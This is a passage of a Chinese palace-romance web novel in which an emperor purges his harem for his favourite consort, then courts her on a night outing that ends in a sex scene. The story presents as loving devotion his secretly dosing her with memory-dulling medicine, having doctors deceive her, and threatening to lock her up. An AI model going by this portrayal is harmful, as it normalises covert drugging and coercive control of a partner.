凌姑姑慌忙追出去,就看到席容烟上了步辇。
她赶紧追上去问:“娘娘要去哪儿?”
席容烟目光低低看向凌姑姑,靠着身后的椅背,轻声道:“我去园子里坐坐。”
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“凌姑姑不用跟着。”
宝珠抬头看向席容烟,觉得主子今日难得的有些坚持。
她便对凌姑姑道:“姑姑放心,我们陪着娘娘,不会让娘娘走太远的。”
凌姑姑怔了怔,又看步辇往前走,赶紧又去宣政殿传话。
席容烟没去园子,她往华阳宫的方向去。
她心里觉得此事不像是黄贵人做的,里头有细节,她不明白皇上为什么要赐死她。
还是里头有什么她不知道的。
她的心微微忐忑,只是在去华阳宫的路上,她忽看到兴庆宫门外站着三四个侍卫,里头太监正抬着一举沾着血的尸体出来。
那尸体在日光下显得格外苍白恐怖,七窍流血,眼睛还死不瞑目地圆睁着。
身上到处都是斑驳的血迹,几乎看不出原来衣裳的颜色,显然之前受过了刑具。
此刻那具尸体正被人一前一后的抬着四肢,打算放到外面的担子上。
席容烟认得那死的人是谁。
那是王宝然。
席容烟被眼前这一幕吓得僵硬,眼里只有王宝然那充血的眼睛。
这就是皇上不让她出来的原因么。
抬着尸体的太监也没想到这个时候碰到了宸妃娘娘,连忙放下手下的事情跪下来问安。
席容烟心跳的很快,喉咙艰涩,坐在步辇上低头问那太监:“王修仪出了什么事?”
那太监愣了愣,又低声道:“王修仪谋害宸妃娘娘,犯了大罪,被皇上赐**。”
席容烟微微一恍。
她脑中纷乱,什么都理不清了。
她从步辇上下来,看着太监慌忙的在王宝然的身上盖上白布,那白布上又渗出血迹,颤声问:“黄贵人呢?”
那太监一愣,连忙又答道:“黄贵人脱不开嫌疑,已经被送出宫贬为庶人了。”
这时候身边忽然传来宝珠低低的声音:“娘娘,皇上来了。”
席容烟回头,就看见皇上大步往她面前走过来的身形。
玄衣龙袍在光色下十分尊贵,紧抿的唇畔和那双冷清的眸子,让席容烟一瞬间仿佛看到那个在满殿血色里看着她的男人。
他掐着自己的下颌,语调阴冷无情,他说:“烟儿,她们都是因为你才死的。”
第117章 烟儿别怕,很快后宫就清净了
席容烟看着那道身影就要走到她面前,她的身体却控制不了的微微战栗,往后退了一步。
魏祁看到席容烟的动作沉了沉眸,又看向席容烟身后的侍卫。
侍卫看到皇上的神色,连忙让太监抬着尸身离开。
魏祁又大步走到了席容烟的面前,一弯腰便将席容烟横抱进自己的怀里,一句话不说的就上了跟过来的轿辇。
魏祁不愿让席容烟看到这些**,更不愿让她知道**人,偏偏还是叫她看见。
怀里的人有些不安分的在动,他弯腰低声道:“烟儿,回去再说。”
“你的伤还没有好。”
轿辇停在承乾宫时,魏祁依旧横抱着席容烟回去。
他将她放在床榻上,挥手让其他人都出去,又重新低头看向席容烟的脸颊。
他见着她苍白脸色上的眸子,看他的眼里带着害怕,身体微微抗拒的后退,仿佛他于她而言是洪水猛兽。
他的心一疼。
他做的千万般事情都是为了她,都是为了让后宫清净,为了让她成为这后宫里的唯一一个。
他知道她的性子,后宫里再有女人,她早晚会再被害。
他这么做全是为了她,她却害怕他。
就如前世一般,他为她做了那么多,她却依然不明白他的心。
魏祁深吸一口气,闭了闭眼,看着她低声道:“烟儿,害你的人是王宝然,朕是为了你。”
“她买通宫女将那猫带到后宫,知道你通常在什么位置上步辇,就将那猫放在那里。”
席容烟白着脸,若真是王宝然害她,她并不是觉得皇上不应该罚她,她也感激皇上为她做主。
只是她没想到王宝然会死的那样惨。
她颤颤的看着皇上:“既然是王宝然害了臣妾,那黄贵人呢。”
魏祁抿了抿唇:“她也参与其中,并不干净。”
皇上沉黑的眼眸历来深不见底,让席容烟忽然一瞬看不明白。
她又问:“那皇上为什么也要给黄贵人赐死。”
魏祁对着席容烟的眼睛:“烟儿,你以为这后宫里其他女人对你是什么心思?”
“那日你被猫抓伤,你看见她们是什么表情了没有?”
说着魏祁弯腰,将席容烟的身子紧紧按在怀中,低低叹息:“烟儿,朕做的一切都是为了你。”
“这些阴毒的计谋连朕都没有防住,你信朕,往后朕再不让你受一点伤害。”
“烟儿,也别怕朕,王宝然死有余辜。”
“黄贵人朕没有让她死,只是贬为庶人去感业寺,你也不必对她们愧疚。”
“都是她们先害的你。”
席容烟闭上眼睛是王宝然那具破败带血的身子,让她总是又想起梦中那个血腥的场面。
她紧紧捏着皇上的袖子:“真的是王宝然害的臣妾么?她为什么要害臣妾?”
“还有黄贵人,她到底又做了什么?”
魏祁眼睛眯了一瞬,又低声道:“烟儿,你这些不必知晓,你只要知道,女人的嫉妒远比你认为的更可怕。”
说着他轻轻拍了拍席容烟的后背:“不过烟儿别怕,很快后宫就清净了。”
席容烟捏紧皇上的袖子,即便是皇上这样深情的情话,她却觉得自己正置身于迷雾中,所知道的一切都是皇上告诉她的。
甚至皇上都不肯清楚明白的告诉她。
让她的心悬空,生了不安,让她觉得她的梦境会不会都是真的。
为什么不肯告诉她。
但她闭上眼睛,不想再问了。
她知道皇上不会告诉她。
魏祁感受到怀里的身子软下来才微微松手,他低头看着人,凌乱的碎发落到脸颊上,脸上还带着憔悴的病色。
他看得心疼,本是想好好护着她,却又叫她受了伤。
没人知道他知道她受伤后那一刻的恐怕,他害怕前世的事情再来一回,他再没力气再承受一次。
忽然怀里又传来极细的声音:“皇上为什么不让承乾宫里的人出去?”
魏祁早知道席容烟会这么问他,他低声道:“这件事还有些细节朕在查,承乾宫里也不能保证都是可信的,朕不让她们出去,是为了防止有人传什么消息出去。”
席容烟睁开眼,又问:“这回的事情皇上查完了么?”
魏祁拍拍席容烟额后背:“很快了。”
席容烟垂眼:“王宝然被皇上赐**,黄贵人被贬了,皇上难道还没有查完么?”
“到底涉及了多少人?”
魏祁一顿,低头看向席容烟的眼睛。
那双淡色的眼眸依旧带着从前的温顺,但是他从那双眸子里看到了些许前世席容烟的影子。
前世里,自己在她心里,不管做什么都是带着目的的,手段卑劣。
永远也得不到她哪怕一丁点的理解。
他做的
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那些,哪一件不是为了她。
她但凡肯顺从,他也不会做那些事情。
魏祁抿了抿唇,沉默在两人中间流转,他许久才道:“烟儿,很快了。”
席容烟一愣,从皇上的怀里翻过了神,闭上眼睛。
魏祁看了看席容烟的后背,又伸手将人翻过来按在怀里。
他无声的搂紧她,不管她此刻怎么想,总归他都是为了她的。
—-
又过了几日,席容烟身上的毒性几乎好的差不多了。
伤口的结痂落下,依旧带着红色的印子。
王太医说手臂上这留着的几道印子,只能日积月累的涂药,慢慢淡化下去。
宝珠看着那留着的红印依旧心有余悸道:“要是那猫真抓在主子的脸上,那不是真要毁了主子的脸?”
“她们当真能想出这样阴毒的法子。”
说着宝珠又道:“不过奴婢当真想不明白,怎么这么多人都参与了。”
席容烟低头看着手上那红印,知道那人是想要让自己毁了容失宠。
只是这件事牵连的人的确多。
皇上说王宝然和林才人是主谋,惠妃,谭婕妤和黄贵人是帮凶。
足足牵连了五个人。
怎么想都不合常理。
即便要害她,该是知道的人越少越少,半个后宫的人都筹谋着害她么。
席容烟想不明白,所有的一切都是皇上细查的,她即便问,也问不出细因来。
她更不明白王宝然那样谨慎的人,为什么又忽然要害她。
更不明白谭婕妤和惠妃会听她摆布,参与进来么。
越细想便越觉得头疼,席容烟揉了揉眉头。
早上往皇后那里去问安的时候,便只看到了寥寥几人,坐着的只有皇后,丽妃,陆昭仪和齐妃了。
她们见着席容烟进来,都不动声色的脸色一变,又离席容烟坐的远了远。
皇后看着进来的席容烟站在自己面前恭敬的问安,眼里只觉得生了一根刺。
让她心里堵着的那口气永远也抒发不出来。
她再明白不过了,皇上处置的那些人,不过是皇上想处置罢了。
根本不是她们真的伤了席容烟。
她已敏锐地察觉到,皇上是在清理后宫了。
皇上没有处置她,或许是皇上没有怀疑她,也或许是因为她父亲在北地,而如今北地的战事紧张,皇上还没打算对付她。
第118章 皇上那种性子,最是难得真心了
宋贺兰现在还记得出事的那天,皇上来她宫里的场景。
皇上那天的神色很淡,淡的好似对席容烟出事的事情根本不上心。
可要是不上心,又怎么会亲自过来她这里一趟问她。
她早就想好了说辞,那猫她也没有处置,等着皇上来问。
她一切都做的滴水不漏。
因为这件事的的确确,从始至终都没有经过她的手,是王宝然一手设计的。
那药粉撒在席容烟平日里坐着的凳子的垫子上,王宝然的丫头又将那药粉撒在林才人的身上。
那天出事时,那张凳子上的垫子早早就换了一张一模一样的,换下来的也立刻烧了干净。
那药粉也早藏在林才人的房里。
林才人一直都不受宠,皇上大抵连她模样都没怎么见过,她喊冤,谁又信呢。
至于抱着猫过来的宫女,不过收买的林才人那里一个无关紧要的宫女罢了,事后她适时的上了吊,这事已经可以结尾。
席容烟没了那过人的容貌,皇上再喜欢,日日看着那张被毁掉的脸,又能喜欢多久。
只是她没想到,席容烟到底运气当真极好,居然没有伤到她的脸。
宋贺兰更没有想到,在所有矛头都指向林才人时,皇上居然会牵扯出这么多人来。
那从谭婕妤,王宝然和惠妃殿中搜出来的**,又是谁放的。
王宝然操控一切,她更不可能在自己那里留下痕迹,只要她做的够干净,自己也本算好了要保她。
那黄贵人就更无辜,那御膳房的猫她怎么可能会碰到,更何况宫里许多人都知晓她历来怕猫。
本来宋贺兰还担心王宝然会将她说出来,毕竟皇上都查到了王宝然,还对王宝然用了刑。
最后只有王宝然被处死,连林才人都免了死,那便说明皇上知道所有的事情都是王宝然做的。
皇上的手段她也是怕的,这几天她一直胆战心惊,就怕王宝然说出些什么来,但她也没想到,这事过去了几天,皇上也一直没有来找她。
如今又见到席容烟安安稳稳的站到自己面前,她心里已经说不出来是什么滋味。
她以为她算计一切,操控一切,如今发生的,远不是她能够操控的了。
这几天宋贺兰也细细想过出事的妃嫔,黄贵人和谭婕妤好似都是在上回谢雨眠诬陷席容烟时,她们在旁添油加醋。
这事越细想,宋贺兰便越觉得可怕。
她根本没法子想象,皇上究竟有多喜欢席容烟,竟会为她做这么多。
后宫里的其他女人在皇上眼里,不过是一件随时都可以扔掉的物件罢了。
借着这件事,名正言顺的将那些妃嫔都处置出去,几乎处置了半个后宫。
那自己往后又是什么结局。
宋贺兰控制住自己的情绪,手指却不由微微轻颤,又看着席容烟道,强扯了一丝笑:“快坐吧。”
等看着席容烟坐下后,又担心的开口问:“身子好些了么?”
席容烟便点头:“嫔妾的伤已经好多了。”
皇后便放心的叹息道:“你好了便好。”
“本宫也没有想到,她们几个会这么歹毒,竟联手来害你。”
“如今皇上都已经重惩她们了,也算为你讨了公道。”
席容烟轻轻嗯了一声,又看皇后脸上关心的神情,垂了眼帘。
她最原本以为,害她的人该是皇后的。
耳边又听皇后低低的声音:“这件事既然已经过去了,往后都别再说了吧。”
“你安心养好身子。”
席容烟从皇后那里出去后,又被请去了太后那里。
在太后那里,席容烟见到了自己母亲。
赵氏一看见席容烟便通红了眼眶赶忙过来席容烟身边抱着她:“身子好了没有?”
“那害你的人皇上都处置了么?”
席容烟一愣,又问母亲:“母亲知晓了?”
赵氏擦泪,哽咽道:“怎么不知晓。”
“这事在朝廷里都传开了。”
“说是你被害的差点送命,皇上大怒彻查下去,结果查出了好几个妃嫔。”
说着赵氏泪盈盈的看向席容烟:“我当初便知道你受宠,定然是有人看不惯的。”
“刚才太后又说那猫要是抓到了你脸上,便毁了脸,可见害你的人心思有多歹毒。”
席容烟看母亲哭的伤心,忙安慰道:“皇上为女儿做了主,母亲别担心了。”
太后也来劝了劝。
最后等赵氏冷静下来,太后又看向席容烟道:“皇上这回为了你的确是真
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动了怒的,你在承乾宫养病,大抵是不知道外头的事。”
“那几日宫内的人心惶惶,处置了一大批宫人,更别说林才人和谭婕妤,还有王宝然黄贵人了。”
太后低低看着席容烟:“皇上为了给你出气,可是将王宝然给处**,另外几个也好不到哪儿去,剃光了头,扔到了寺庙里,一辈子也就如此了。”
又叹息一声:“那王宝然好歹也受宠过,竟是这么个下场。”
席容烟一愣,看向太后:“姑母知道来龙去脉么?为什么会牵扯这么多人?”
太后抬头:“皇上亲自查的,后宫**,所有后妃不许出殿,哀家哪里知晓会牵扯这么多人。”
“只知道皇上在外动怒,连带着王宝然的父亲被贬官,林才人和王婕妤的父兄听说也受了连累。”
说着太后牵着席容烟的手,低声叹道:“哀家倒是没想到,皇上竟然能为了你做到这步,看来皇上是真心对你的。”
“皇上那性子哀家也算了解一些,当初皇上养在端妃名下,端妃对他并不算太好,后头甚至还出了件骇人的秘事。”
“皇上瞧着对你是真心,皇上那种性子,最是难得真心了,也算你福气。”
席容烟听了太后的话愣了下,端妃她是有印象的。
当初皇上登基后,端妃就在宫里病**,怎么病死的不知道,当时父亲还回来说端妃死的有些突然,只是这事后头也没提了。
席容烟好奇的问太后:“什么秘事?”
太后看向席容烟:“哀家知道这事也是无意中知晓的,也是当初我儿去世后,我愿意帮皇上的原因。”
“但这这件事哀家不能告诉你,泄露出去,对席家来说没有好下场。”
席容烟看太后说的严厉,怔了下,又点头。
坐在旁边的赵氏担忧的对太后道:“这才进宫多久,就出了这事,往后怎么办?”
太后看了眼赵氏:“现在后宫里还剩下几个人?”
“皇上这回这么大动作,惩治得这么厉害,估计就是为了威慑下去。”
“还有上回宋三姑娘的事,你应该也知道,那宋家那个出宫了半死不活的,亲事也被退了,现在估计成了废人。”
“现在后宫里谁还敢轻易动容烟?”
第119章 烟儿,疼吗?
夜里,席容烟坐在床榻上,凌姑姑便端着药碗过来。
这些日每日夜里入睡前,凌姑姑都会将药端来,说是入睡前吃药,对身子更好。
尽管这药很苦,但是这个药自从开始喝开始,这些日席容烟夜里都几乎没有坐过噩梦了。
此刻她看着送到面前的沉黑药汁,恍恍惚惚觉得这样的场景在她梦里中记忆里的某一天,也出现过。
她脑中又记起梦里那个男人将苦涩的药汁全都灌进她的嘴里,紧紧掐着她的下颌,以至于脱臼。
现在,梦里那个男人的模样,全都变成了皇上的样子。
她其实根本不想去想的,可是却也根本控制不了自己。
她手指轻颤一下,又从凌姑姑的手里接过药碗。
她怔怔看着那药汁里倒映出来的失神的人,被苦涩的味道冲的又别过了脸。
宝珠看着席容烟难受的模样心里也心疼,这些日吃的药实在太多,主子从前在席府是极少吃药的,入了宫却好似总在吃药。
旁边凌姑姑站着在劝:“娘娘忍着喝了吧,您这些天的身子虚,喝了药,身子也早些好。”
其实席容烟并不觉得自己的身子有什么不好的,她在席府历来都是这样的身子,看着虽然并不是很好,但也很少会病。
自小那些养身补气的鱼胶燕窝也常吃,并不是那种太柔弱的身子。
只是这药是皇上吩咐一日两回的,席容烟想起皇上温柔的抱着她,那双缱绻的眸子里有着心疼,说希望她的身子更好些。
她努力压着自己心里不安的思绪,又低头去喝手上温热的药汁。
无论喝多少次,还是会受不住的干呕。
嘴里含着甜枣,又强忍着将药吃完。
凌姑姑看着那空空的药碗,心里松了一口气,又忙退下了。
席容烟侧睡在榻上,却难受的额头冒汗,胃里翻滚。
刚才她喝的急了些,只想要快些吃完,这会儿浑身已难受的受不住。
宝珠守在床榻边低低说了几句安慰的话,席容烟也没有力气开口。
她眯着眼睛,只觉得眼前的烛火晃动,一道黑影从外头走进来,紧接着就坐在了她的身边。
难受模糊的眼里几乎看不清面前人的模样,那人渐渐靠近她,脸颊上落下温热的手指,一声低低声音落在她面前:“烟儿,受苦了。”
席容烟眨眨眼睛,面前人的样子越来越清晰。
她看到一双低垂的长眸,那眸子里饱含着怜惜,尽是自己苍白的模样。
席容烟轻轻摇头:“皇上让臣妾吃药,也是为臣妾身子好的。”
“臣妾不难受。”
魏祁落在席容烟脸庞上的手指顿了顿。
纱灯下的人也被染了一层温柔的朦胧光晕,眉眼晏晏,细眉如画,一身娇美娇气,像是深闺中永远不谙世事的一朵需要娇养灌溉的芙蓉花。
席容烟身上隐隐还带着一股药味,混着她身上的暖香,是另一种催情的让人心绪起伏的**。
那整洁白净的领口下春色嫣然,滑腻的肌肤没有一丝瑕疵。
魏祁默默弯腰,默默将人搂紧在怀里。
他抵在她修长的颈间,闻着她身上的温度,她柔软的细发落在他脸庞上,他闭着眼,眷念贪念她身上柔软的温度。
他希望她能永远这般留在这深宫里陪伴他,永远什么都不知晓。
更永远不要再做那些噩梦。
他想为她编织一个能安然娇养她的地方,她的心里也只有他一人,只需安安静静的等着他陪她宠她就好。
没有任何人能够干扰。
魏祁抱了许久,整理好自己患得患失的情绪才松开手。
他知道自己不愿再如前世那般对她,只是他却无法预料自己万一她又离开自己,自己会再怎么做。
魏祁又深深看着榻上的人,才叫凌姑姑送药进来。
夜里换药的时候,每回都是
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皇上亲自回来换的。
席容烟怔怔看着皇上坐在床边,温柔的为她将手臂上的白纱除去,又心疼的叹息。
魏祁看向席容烟:“烟儿,疼吗?”
尽管还有些细微的刺痛,席容烟摇头:“没那么疼了。”
魏祁便抿唇,低头细致的为席容烟上药。
看着那无暇的肌肤上那几道鲜红的红痕,魏祁的眼神渐渐发沉,沉默的为席容烟再将伤口包好。
包好后魏祁才起身,让席容烟先睡,他沐浴了再过来。
席容烟看着皇上渐渐离去的背影,又看向手臂上被皇上细致包扎过的地方,上头还残留着一丝温热,像是在抚平她心里那些不安的想法。
皇上很快就进来了,炙热的身躯贴上来,又将她拢紧在怀里。
席容烟抬头问:“这次为什么会有这么多人害臣妾?”
魏祁低低看向席容烟:“烟儿不用再想她们了,朕已经处置了她们,她们也并不重要。”
席容烟欲言又止,只是话还没有出口,皇上的手指就落在了她的唇畔上,声音沉沉:“烟儿,别再想那些无关要紧的事情了。”
席容烟怔然看着皇上。
这为什么会是无关要紧的事情呢。
这涉及了人命,还牵扯到了那么多人。
而她只触碰到了一个雾蒙蒙的真相。
皇上又忽然低头,堵住了她正要开口问出的话。
缠绵的吻如皇上一向对她的温柔,不管与皇上吻了多少次,她也依旧觉得脸颊发热,脑让她沉溺在皇上的温柔里。
那潮湿的吻温柔的攻城略地,带着皇上沙哑的喘息,和皇上身上炙热的温度,叫人情不自禁的沉沦。
在她迷迷糊糊晕头转向时,她又听到耳边沙哑的低语:“烟儿,最近还做过噩梦么?”
席容烟身上又软又烫,听见皇上的声音,下意识的摇头:“没有了。”
魏祁便伸手与席容烟十指紧扣。
第120章 今夜朕带你出宫
手臂上的伤痕已经渐渐结痂褪去。
那**的确很厉害,即便伤口好了,手臂上也留下了红色的印子。
席容烟看着手上的印子也隐隐后怕,要是那日自己没有来得及用手挡在脸上,只怕这些鲜红的疤痕就要留在她的脸上了。
宝珠拿了药过来给席容烟抹上:“这是皇上特意让太医给娘娘调配的生肌膏,听说要不了多久,这些印子就会看不见了。”
冰冰凉凉的药膏抹在上头,席容烟却觉得头脑眩晕。
她在屋子里应该呆的太久,所以这几日总是昏沉沉的。
后背明窗上透进来的光线洒过来,有一股懒洋洋的温暖,又让人发困。
这会儿还是上午,席容烟就已经恹恹的提不起精神来了。
宝珠看着席容烟懒洋洋的神态,这些日子没有出去过,在殿内几乎都是挽着素发,发上只一根点翠簪子,极素净的装扮。
今日席容烟身上穿的是一身宝蓝色大敞袖的如意团花衣,脖子上一圈珍贵的金珠坠,耳畔上的水滴翡翠坠子在半空中摇摇晃晃,微微歪在身边的玫瑰圆枕上,倦倦的眯着眼,慵懒又仙姿玉色。
旁边的小案上放着枇杷与佛手,还有一碟子红艳艳的剖开的石榴,全是夏日里正应季的果子,屋子里混着果香味,还有那插在瓶里的荷花,静谧又清甜。
却愈叫人昏昏欲睡。
宝珠抹好药,席容烟又揉了揉眉头,低声道:“叫张太医来为我瞧瞧吧。”
“他上回开的安神丸倒是有些用处,近来我夜里睡的好,只是这些日也不知道怎么的,总是困倦,又总是忘记事情,看看是不是因为吃了那药”
宝珠应了声,又忙出去。
玉竹拿着石榴送到席容烟面前:“这石榴正甜,主子吃些。”
席容烟拿了一颗咬了咬,又吐了核,觉得麻烦,再没吃了。
没一会儿太医过来,只是进来的不是张太医,而是陈太医。
宝珠在旁边小声道:“听说张太医没在太医院了。”
席容烟一顿,顺口便问躬身站在自己面前的陈太医:“张太医怎么没在太医院了?”
陈太医听见席容烟提起张太医,后背就是生了一层冷汗。
张太医自从上回来了承乾宫里,就再也没有回过太医院了。
太医院里私底下传过这事,纷纷说是张太医在宸妃这里犯了错,被皇上处置了,还有更骇人的说法,但太医院的都不敢议论,这事只太医院的私底下说说,谁也不知道到底出了什么事。
如今又听宸妃还问起张太医,这事越发怪异,他不由想起私底下传的另外一个说话。
说是张太医被宸妃的美貌迷住……
这想法一出,张太医赶紧打断自己的思绪,思量一瞬,又恭敬的回话:“张太医家中有事,不留在太医院了。”
席容烟便点头没有再问,让陈太医为她把脉。
陈太医把脉了一会儿,又对席容烟低声道:“娘娘的脉象没有问题,夏日里本就犯困,加之娘娘气血不足,便更容易犯困,娘娘不必担心。”
席容烟又问:“那本宫怎么最近总是健忘,有时候要想事情,要许久才能想起来。”
刚才在太医院时,王太医跟着他跑出来,特意提了万一宸妃娘娘问他记性的事情,他应该怎么答。
陈太医虽说不明白王太医为何要特意叮嘱这么一遭,但王太医是皇上身边常用的太医,又看他脸色严肃,也知道这事不能马虎,他便根据王太医说给他的答话:“娘娘犯困便容易记性不好,娘娘多补补气血便能好了。”
又是补气血。
这些太医好似不管怎么,便只有这几句话。
席容烟又摆摆手,让他退下去。
宝珠看席容烟脸色疲倦,又道:“外头的秋千娘娘还一回没有坐过,要不主子去坐坐秋千吧。”
席容烟在殿内久了,只觉得骨头也跟着软了,听罢也起身去。
那秋千很宽敞,席容烟坐在上头,宝珠站在她身侧,又笑道:“奴婢还记得娘娘从前最喜欢坐秋千,那时候大爷总是吓娘娘,推的老高了。”
席容烟听宝珠提起从前,脸上总算有了笑意。
她捏着两边的绳子,又笑道:“听你这么提起来,好似也不过眼前
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的事。”
宝珠笑:“可不是。”
魏祁进来的时候便看到席容烟坐在秋千上,荡起的宝蓝色熠熠生辉的裙摆在半空中流转,那重重叠叠的裙摆上是纤细的腰肢,再往上是一张素净含笑的脸庞。
魏祁这些日少见到席容烟笑,这会儿见着她脸上笑意,唇边也不知觉的含了笑,走到了她身边。
他含笑弯腰,见着人莹莹眸子里亮晶晶的,像是有些神采,不由低声道:“烟儿想再高一些么?”
席容烟忙摇头:“臣妾害怕。”
魏祁笑:“朕在的,烟儿不用怕。”
说着他轻轻推了推,那扬起的裙摆更高了,席容烟阵阵惊呼。
最后席容烟从秋千上下来,还心有余悸的趴在皇上怀里,又抬起头看上去,瞪着烟眸,好似有些控诉:“皇上怎么吓臣妾?”
魏祁看着那烟眉下的水眸,还带着一丝丝惊慌,看起来娇气又生动。
他的心也跟着她的神情起伏起来,忽然就横抱起人在怀里,又惹得席容烟一声轻呼,紧紧捏在他袖子上,娇气的声音听起来格外悦耳。
他低头看她,为她这时候娇美的脸颊,为着她这时候眸子里全是他的样子,又沙哑道:“烟儿是不是在宫内无聊了?”
“今夜朕带你出宫。”
席容烟瞪大眸子看向皇上:“今夜出宫?”
“去哪儿?”
在她认知里,进了宫,出宫就变得极奢侈了,也根本不能随意出宫。
魏祁问:“烟儿想去哪儿?”
席容烟其实想说她想回家,想见父亲母亲还有大哥。
还想见她的小侄子。
但是她是跟皇上出宫,定然不能回去了。
她揽上皇上的脖子问:“臣妾说哪儿都行么?”
魏祁笑:“烟儿,哪里都行。”
“但出京不行,太远了。”
“你要是真想出京,先等朕安排好。”
席容烟也没想出京,她也知道不可能,她问:“臣妾没想好去哪儿,那皇上想带臣妾去哪儿?”
魏祁笑:“夜里就知道了。”
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第121章 烟儿觉得我不行?
到了下午的时候,天还没有沉尽,席容烟就被皇上带出宫了。
魏祁身上穿着寻常圆领绿衣,头戴玉冠,腰上还斜插着席容烟画的那把折扇,丰神俊朗,褪去了一身龙袍,看起来竟有几分温润。
侍卫都便衣护在不远处,马车从宫内出去,停在了东街闹市中。
魏祁牵着席容烟的手,牵着她下马车。
席容烟头上戴着薄纱,握着皇上的手下了马车后,便听到熙熙攘攘的热闹声。
她好像已经许久没有感受到过这样的热闹了,抬头看向阁楼上挂着的灯笼,将夜色点缀的如同白昼。
身子被牵到皇上的身边,她抬头,见着皇上低头看来的目光:“先去用膳。”
说着带着她便往一处酒楼走去。
那酒楼像是并不是寻常酒楼,里面几乎没有人,但掌柜的格外恭敬,且一身穿戴讲究,颀长身量,背脊笔直,显然不是寻常人。
他们的雅间在最上层的,明窗很大,里头插着花与熏香,格外的雅致。
席容烟坐在椅上往窗外看去,便听见楼下若元若近的热闹声,微微凉爽的微风吹拂过来,她在宫中浑浑噩噩的浑浊被扫去,这时候满身舒畅。
魏祁坐在席容烟对面,静静看着她半张脸倒映的橘黄光线,那唇边含起的笑意让他的心也跟着满足,他甚至希望她每一日都如这般高兴。
饭菜上来,席容烟看了看,瞧着与宫里头的菜式格外的像,她吃了两口,味道也相似极了。
不过她没细想,在她看来,能够出宫和皇上坐在酒楼里用膳,应该是极难的的事情。
或许是隐隐传来的热闹声让她也胃口好了些,难得的多吃了许多。
魏祁也欣慰,又起身坐到席容烟身边,给她吃了几口莲房鱼肉,才问她:“吃饱了么?”
席容烟点头,又问皇上:“皇上呢?”
刚才用膳时,她好似见皇上都没怎么吃。
魏祁低笑:“嗯。”
他牵着席容烟起身,揽住她腰身:“去逛逛庙会?”
“再去游湖。”
“烟儿觉得呢。”
席容烟惊喜的看着皇上:“真的吗?”
魏祁笑意未落下过,握紧席容烟的手:“自然。”
说着他又弯腰,将席容烟的身子紧按在自己怀里,俯身在席容烟的耳边低声道:“烟儿,待会儿要叫朕什么?”
皇上有力的心跳透过薄薄的衣料传过来,席容烟脸颊发热,抬头羞涩道:“夫君。”
这话说完,她的心扑扑直跳,又低头埋在皇上的肩膀上。
魏祁一垂眼便见着那发红的耳尖,娇怜惹人欢喜,只恨不得将人又紧又用力的揉入怀中。
那一声夫君娇媚入耳,他浑身绷紧,深吸一口气,捧着人羞涩的脸颊,吻了许久才松开人,又牵着她下去。
行云寺是东街最热闹的寺庙,叫卖的络绎不绝,两边街道上的铺子更多。
魏祁身量高大,且虽是一身寻常衣裳,但穿在身上也有不一样的气度,暗色中脸庞虽不能完全看清,但也叫人望而生畏,那般气度,定然也是非富即贵。
席容烟要吃糖葫芦,咬了一口又抬头见着皇上看她,她觉得皇上这样严肃寡言的人应该不喜欢吃,却忽起了想看看皇上吃糖葫芦是什么样子的心思,便问:“夫君吃么?”
那声夫君说出来的时候,席容烟还有些不好意思,声音极小,声音里还有一丝慌,但魏祁全部的关注都在席容烟身上,哪怕她再小的声音,他也能听到。
更何况她还喊了自己夫君。
魏祁弯下腰来,黑眸看向席容烟,那双眸子里有灯火,有细腻,有他眷念喜欢的所有情绪,他最喜欢她那微微羞涩的脸庞,他含了笑:“烟儿喂我么?”
席容烟便将糖葫芦送过去,魏祁咬了一口,虽不是他喜欢的,但看席容烟怔怔看着他,好似在看什么稀奇的事,又笑了一声,再吃了一口。
原来看皇上吃糖葫芦是这个样子的
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。
她的心扑扑直跳。
魏祁又握着席容烟的手腕,将糖葫芦推到席容烟唇边,声音低沉,带着诱惑:“夫人也尝尝。”
席容烟红了脸庞。
庙会里在写姻缘牌,上了香,送了香火便可以领一个。
席容烟去上香时,魏祁便去领了一个,又牵着她去树下写下自己的名字。
一个祁字,一个烟字,紧挨在一起,魏祁看着席容烟:“听说挂的越高,越长久。”
席容烟抬头望了望那高高的树冠,又看向皇上:“太高了。”
魏祁笑了下:“我可以爬上去。”
席容烟瞪大眼睛,九五之尊的皇上……爬树……!?
虽说席容烟真的有些想看,但她觉得有损皇上的威仪,况且她也知道随行的还有侍卫,皇上要真爬树了,私底下传开了怎么办。
她都怕自己成为妖妃。
她扯了扯皇上的袖子,小声道:“夫君算了吧。”
魏祁挑眉:“烟儿觉得我不行?”
席容烟一哑:“也没有……”
魏祁便后退几步,拉着席容烟站到身边来,侧头对她道:“别眨眼。”
席容烟还没反应过来,就看到皇上拿着手上的姻缘牌只是轻轻一扔,就挂在了最高处的树枝上。
她愣了愣,直到挂上了都没有反应过来。
等反应过来了,她看向皇上,发现皇上正看着她:“夫人满意么?”
忽明忽暗的光线里,皇上面如冠玉,绿衣上眸色深深,看得席容烟脸颊一红,又怔怔的点头。
魏祁修长的手指探进白色薄纱内,抚向席容烟的脸庞,又问:“那夫人怎么奖励我?”
席容烟愣愣,小声问:“夫君想要什么奖励?”
魏祁挑眉:“那我说什么,夫人都愿意?”
说着他弯腰,低低在席容烟的耳边道:“烟儿能给我一个亲手绣的荷包么?”
席容烟抬头,一股夜风吹来,她脸颊红尽,含笑又羞涩的点头。
第122章 离开朕,朕会将你锁起来
魏祁又牵着席容烟去游湖。
带蓬小舟并不大,在夜色里漫入在渐渐远离岸边的夜色中,仿佛周遭便只有两人。
只是此刻席容烟也没来得及出去多看看景色,她被皇上压在小舟内,远处有隐隐的喧闹声,近处有潺潺水声,面前还有皇上扑过来的炙热又暧昧的呼吸。
她手指抵在皇上的胸膛,脸颊透红,没有烛火的小舟内,她看不清皇上的脸庞,只觉得心跳的很快。
感觉到皇上渐渐压低的呼吸,她知道皇上要做什么,但小舟摇晃,晃荡的船身让她还是些害怕,不由紧紧捏着皇上的衣襟。
她呼吸发紧,感觉到皇上的呼吸渐渐变得越来越炙热,不由红着脸并没什么作用的推拒:“皇上能不能回宫……”
话还没有说完,唇瓣就被皇上堵住。
耳边沙哑的声音听起来格外动情,轻咬着她的唇:“烟儿唤朕什么?”
席容烟就捏紧面前皇上的衣襟,手指紧了紧,又小声的喊了一声:“夫君。”
魏祁满足的深吸一口气,又沉下腰,细吻着身下饱满的唇瓣,在只有两人的小舟上,他极温柔的求欢:“烟儿,我想………”
席容烟被皇上的话弄红了脸,身子早就软在了皇上的怀里,根本就招架不住这样的柔情,又开不了口,只是几不可闻的轻轻嗯了一声。
才刚答应,那只一直纠缠在她腰上的手指就从她裙摆内探了进去。
她听见皇上满是情欲的声音,听见穿舱外晃动的水声,还有隐隐约约一闪而过的光线,都让她心里紧张又羞涩。
